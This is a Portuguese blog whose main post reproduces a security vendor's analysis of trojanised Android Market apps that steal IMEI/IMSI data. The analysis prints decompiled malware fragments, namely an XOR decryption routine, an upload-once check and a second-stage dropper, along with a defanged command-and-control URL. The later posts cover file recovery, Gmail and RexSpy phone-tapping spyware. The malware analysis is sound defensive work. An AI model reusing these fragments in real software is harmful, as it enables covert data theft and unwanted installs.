MALWARE NO ANDROID MARKET!!!

Denis
Posted March 03, 14:54 GMT
Kaspersky Lab Expert

          

Dêem atenção ao que escreveu um dos experts do Kaspersky Laboratories em uma circular enviada a assinantes do famoso antivirus!!!!!

Ontem meu colega Tim Armstrong escreveu sobre o surto de malware no Android Market. Em suma... uma série de aplicativos legais foram troianizados e enviados para o Android Market. Vamos dar uma olhada em um deles.

Como foi mencionado anteriormente, todos os aplicativos maliciosos que temos visto até agora estavam usando os mesmos exploits que são detectados pelo Kaspersky como Exploit.AndroidOS.Lotoor.g e Exploit.AndroidOS.Lotoor.j. Ambos são bem conhecidos em todas as versões Android OS inferior a 2,3. Isto significa que qualquer um que usa Gingerbread (Android 2.3) devem ser protegidos contra essas façanhas.

Então o que exatamente esses Trojans roubam? Aparentemente, o atacante fez questão de atuar sobre a obtenção de IMSI e números de IMEI. E além destes, também estão colhendo informações sobre o sistema operacional e tipo de dispositivo.

Veja como o roubo acontece: dentro do código, não há bloco de dados criptografados, que é exatamente 45 bytes de tamanho. Este bloco é criptografada usando um algoritmo XOR simples com uma chave especial, que é armazenado em outro bloco de dados chamado "KeyValue". Se você está curioso, aqui está como a rotina de descriptografia de uma olhada:

public static void crypt(byte abyte0[ ])
{
int i = 0;
int j = 0;
do
{
int k = abyte0.length;
if(j >= k)
return;
byte byte0 = abyte0[j];
byte byte1 = KEYVALUE[i];
byte byte2 = (byte)(byte0 ^ byte1);
abyte0[j] = byte2;
i++;
int l = keylen;
if(i == l)
i = 0;
j++;
}
while(true);
}

Uma vez decifrado, os primeiros pontos de dados do bloco a "hxxp: / / 184.105.245.17:8080 GMServer / / GMServlet.

Que é hospedado por um ISP chamado Hurricane Electric (http://www.he.net/), em Fremont, Califórnia . Imediatamente contactamos Hurricane Electric sobre este host e eles estavam prontos a derruba-lo. No momento desta escrita, o servidor malicioso não está mais acessível.

Como dissemos antes, o Trojan parece ter sido projetado para coletar códigos IMEI e IMSI, juntamente com as informações do dispositivo específico. Os dados roubados são transferidos para o servidor dos cibercriminosos ", através de um método POST através do protocolo HTTP. Os blocos são enviados no formato XML e parecido com isto:

   

Formato geral do modelo XML

Dados transferidos por Backdoor.AndroidOS.Rooter.a

Dados transferidos por Backdoor.AndroidOS.Rooter.b

Método POST usado por Backdoor.AndroidOS.Rooter

O campo de comando, que é definido como "0" no bloco acima, sinaliza o upload do IMEI roubado e códigos IMSI, juntamente com informações dispositivo. Você pode notar que as informações na etiqueta difere em dois diferentes arquivos maliciosos que APK - ProductId tem os valores 10023 e 10039. Obviamente, o atacante queria contar a taxa de sucesso dos Trojans diferentes, que foram semeadas no mercado. Além disso, devemos notar que os dados de tag ('502 ') é o mesmo em ambas as amostras. Essa marca realmente nos fez pensar: é possível que este '502 'poderia ser algum tipo de filial ou ID parceiro. Se isso for verdade, pode-se saber quantos filiados foram (ou são) lá fora?

Para evitar a postagem dos mesmos dados, uma e outra, o Trojan define um parâmetro preferência "pref_config_setting" para "feito" depois de uma bem sucedida upload:

public void run()
{
if(Setting.access$1(Setting.this).getSharedPreferences("pref_config_setting",0).getInt("done",0)== 0)
{
byte abyte0[] = val$c;
String s = new String(abyte0);
Context context = Setting.access$1(Setting.this);
Setting.postUrl(s, context);
}

Além de enviar o IMEI roubado e códigos IMSI, o Trojan instala um outro módulo. Ele faz isso copiando um arquivo de recurso interno chamado sqlite.db em DownloadProvidersManager.apk:

private void destroy(boolean flag)
{
boolean flag1;
if(flag && !isPackageInstalled(ctx, "com.android.providers.downloadsmanager"))
flag1 = cpFile(ctx, "sqlite.db", "DownloadProvidersManager.apk");
stopSelf();
}

Então, qual é o objetivo deste segundo módulo? Ele conecta-se de volta para o mesmo servidor onde ele carregou o IMEI e IMSI roubado, mas com um bloco de requisição diferentes (Command "2"). Desta vez, ele lê uma resposta de volta a partir do servidor, que parece incluir uma lista de aplicativos para baixar e instalar no dispositivo já infectadas. Então, em essência, é um Trojan downloader módulo.

A arquitetura altamente modular do Trojan é interessante e aponta algumas conclusões importantes. Primeiro de tudo, ele foi projetado para ser fácil de incluir em aplicações populares, para ser carregado no mercado com nomes enganosos. Em segundo lugar, tem uma arquitetura de comando e controle-clássico - ele envia uma inicial "Estou aqui" consulta com informações básicas e, em seguida, implanta um downloader mais complexo para infectar o dispositivo adicional. Isso é muito semelhante a muitos Trojans Windows. Finalmente, a possibilidade de instalar outros aplicativos nos dispositivos aponta para o caminho através do qual o autor estava planejando rentabilizar as infecções -, implantando Adware ou Publicidade apoiado aplicativos no dispositivo.

Continuaremos a monitorar a situação e atualizar com novos desenvolvimentos.

Costin Raiu
Denis Maslennikov

É isso...................Aceita uma maçã???

Para onde foram???

Olá pessoal, o que aconteceu com este blog? Para onde foram os visitantes? Vamos lá, ânimo.

Isso é que é Tecnologia

Pessoal, vejam como a tecnologia evolui...

Cliquem no link abaixo e confiram!


A robot that flies like a bird | Video on TED.com

A VOLTA DOS DELETADOS!

SEM QUERER VOCE APAGOU UM ARQUIVO IMPORTANTE DO HD, DE UM DVD OU DE UM CARTÃO MEMORIA? VEJA COMO TRAZE-LOS DE VOLTA A VIDA

RECUPERAÇÃO NO PC

PARA REAVER ARQUIVOS DELETADOS NO SEU PC EXPERIMENTE O RECUVA, (FÁCIL DE ENCONTRAR EM SITES COMO O POPULAR BAIXAKI), QUE VARRE O HD EM BUSCA DE DOCUMENTOS OCULTOS QUE AINDA PODEM SER RECUPERADOS. PARA USA-LO, SELECIONE A UNIDADE DE DISCO QUE O ARQUIVOPERDIDO ESTAVA E CLIQUE EM VERIFICAR SERÁ MOSTRADA UMA LISTA DE TODOS OS ARQUIVOS QUE PODEM SER RECUPERADOS. NO CAMPO DE PESQUISA (AO LADO DO BOTÃO OPÇÕES), DIGITE O NOME DO ARQUIVO. ACHOU? CLIQUE NELE E DEPOIS, NO BOTÃO RECUPERAR, QUE FICA NA PARTE INFERIOR DIREITA DA JANELA.

TRAGA O HD DE VOLTA

O HD PAROU DE FUNCIONAR? SE O PROBLEMA NÃO FOR FISICO PROVALVELMENTE O PROBLEMA ESTÁ RELACIONADO A UMA FALHA OU DANOEM UMA PARTIÇÃO. NESTE CASO PODE USAR O EASEUS PARTITION RECOVERY ELE RESOLVERÁ A PARADA! SE O PROBLEMA ESTIVER NA PARTIÇÃO DO WINDOWS E VOCE NÃO CONCEGUIR RODAR NADA, HÁ UM PACOTE ESPECÍFICO DO APLICATIVO PARA ESSE FIM, QUE DEVE SER USADO JUNTO COM OS DISCOS DE INSTALAÇÃO DO SISTEMA.

AS FOTOS RENASCEM

FEITO ESPECIALMENTE PARA RECUPERAÇÃO DE ARQUIVOS EM CARTÃO DE MEMORIA, O PC INSPECTOR SMART RECOVERY FUNCIONA ATÉ MESMO EM SITUAÇÕES COMPLICADAAS, COMO QUANDO A ESTRUTURA DE ARQUIVOS FOI DANIFICADA OU ALTERADA. O USO DO APLICATIVO É SIMPLES E DIRETO. VOCÊ ESCOLHE O DRIVE CORRESPONDENTE AO CARTÃO DE MEMORIA, INDICA O LOCAL ONDE  O CONTEUDO RECUPERADO SERÁ SALVOE CLICA EM START. TODAS AS IMAGENS QUE FORAM LOCALIZADAS SERÃO GRAVADAS NA PASTA INDICADA.

CORRIJA OS ARRANHÕES

SE UM DOS SEUS CDS OU DVDS PARECE QUE SOFREU UM ATAQUE FURIOSO DO WOLVERINE PODE SER UTILIZADOS ALGUNS MEIOS DE RECUPERAR O QUE “QUASE”SE FORAM. PRIMEIRO TEREMOS DE USAR UM APLICATIVO QUE TENTE COPIAR OS DADOS SEGUIDAMENTE,COMO O UNSTOPPABLE COPIER. NÃO FUNCIONOU? TENTE POLIR A MIDIA DE FORMA LEVE COM UM PANO CONTENDO UM POUCO DE CREME DENTAL, MAS LEMBRE-SE OS MOVIMENTOS DEVEM SER DE FORMA RADIAL, CUIDADOSAMENTE E DE DENTRO PRA FORA DO DISCO

Estudantes vendem site por US$ 100 milhões

Confiram aí!!!



http://noticias.universia.com.br/destaque/noticia/2011/07/22/849749/estudantes-vendem-site-us-100-milhes.html

Mudanças no Gmail esta notando??? Gostou da nova aparência?

Bem...Depois de algun tempo parado com os posts, voltamos novamente, não que ele estivesse renegado a segundo plano, é com muita tristeza que abria nosso canal de comunicações da turma e não via nada de novo, mas o segundo semestre esta ai e um monte de coisas que andavam acontecendo em nossas vidas, aparentemente esta tomando formas de pacificação, como não pretendo ficar enchendo vossos preciosos tempos de ladainhas vamos ao que nos interessa.....NOTÍCIAS.....e pra começar ai está uma quentissima que li hoje no canal folha on line, boa leitura a todos e vamos lá:
O Gmail, serviço de e-mail do Google, está mudando. Trata-se de uma tentativa de "cortar elementos desnecessários e tornar o Gmail tão bonito quanto é poderoso", segundo o time do Google por trás do projeto (leia o post da empresa sobre o assunto). Veja como ele ficará:

Como a maioria das mudanças que o Google promove, a transição ocorrerá aos poucos. Durante os próximos meses, os usuários vão notar a mudança na interface do e-mail.
Se você está ansioso e quer ter o novo visual agora, pode clicar na área de temas das configurações do e-mail e optar pelo Preview. Assim, já dá pra ir testando.
O Google alerta que algumas das funções do Google Labs podem ficar estranhas na nova aparência, mas esse tipo de problema deve ser solucionado ao longo dos próximos meses.
Gostou? Deixe sua opinião......aceita uma maçã???

ALGUÉM JA OUVIU FALAR DO REXSPY?

Com apenas um celular nas mãos, o presidente da Companhia SecurStar, Wilfried Hafner, foi capaz de grampear conversas telefônicas, acessar dados de outros aparelhos e usar os celulares grampeados como microfones para escutas ambientais.

A demonstração foi feita a um público de agentes de inteligência de diversos órgãos como a Polícia Federal (PF), a Agência Brasileira de Inteligência (Abin), o Tribunal de Contas da União e a Corregedoria Geral da União, reunidos em seminário promovido a pela Comunidade de Inteligência Policial e Análise Evidencial (CIPAE).

Usando um vírus enviado por meio de SMS (mensagem de texto), Hafner pode grampear qualquer telefone celular – basta possuir o número do aparelho. O programa espião chamado RexSpy foi desenvolvido por sua empresa para mostrar a vulnerabilidade do sistema de telefonia celular. De acordo com ele, versões similares do vírus circulam pela internet em comunidades de hackers, principalmente na China e Coréia do Sul.

Sua empresa, que trabalha no ramo de segurança de dados e produz software para criptografar ligações tornando-as seguras, identificou ataques de vírus similares ao RexSpy no Brasil. A primeira incidência se deu em agosto.

Ao receber o vírus, o telefone infectado sequer alerta para a chegada da mensagem. A partir de então, o “espião” passa a ter acesso a todos os dados do aparelho, como a agenda telefônica, mensagens de texto, fotos e vídeos. Além disso, o telefone que enviou o vírus recebe uma mensagem cada vez que o aparelho grampeado é usado, permitindo ouvir ou gravar as conversas realizadas.

Também sem deixar pistas, é possível que o “espião” use o celular infectado como microfone, ouvindo conversas de reuniões privadas, bastando que o aparelho infectado esteja no recinto. Todas as modalidades de grampo foram apresentadas durante o evento.

“Temos identificado o uso de vírus semelhantes ao RexSpy para espionagem industrial. A primeira vez que descobrimos uma tentativa de invasão foi em abril, na França. No Brasil, percebemos a tentativa em agosto”, disse.

Questionado se este instrumento poderia estar sendo usado para grampear políticos no País, Hafner respondeu que

“basta possuir o número do telefone”

Ele mostrou ainda a possibilidade de se adquirir pela internet um programa chamado FlexiSpy, que também permite o grampo de celulares, mas, diferente dos vírus similares ao RexSpy, é preciso instalá-lo diretamente no celular, o que dificulta seu uso. O produto pode ser adquirido por cerca de R$ 250 e, na maioria das vezes, tem sido usado, segundo a empresa, por mulheres que querem monitorar seus maridos.

Apesar do empecilho de instalação do FlexiSpy diretamente no celular a ser atacado, Hafner disse que vídeos e “ringtones” (sons para celular, como campainhas personalizadas) podem estar infectados e o usuário, sem perceber, acaba por instalar o programa.

Hafner disse que o vírus desenvolvido pela empresa, RexSpy, serve somente para demonstração e que, apesar da companhia já ter recebido inúmeras ofertas, ele jamais foi comercializado.

“É para uso interno, para demonstrarmos as falhas de segurança. O problema é que hackers já possuem tecnologia similar”, pontuou.

ACEITA UMA MAÇÃ???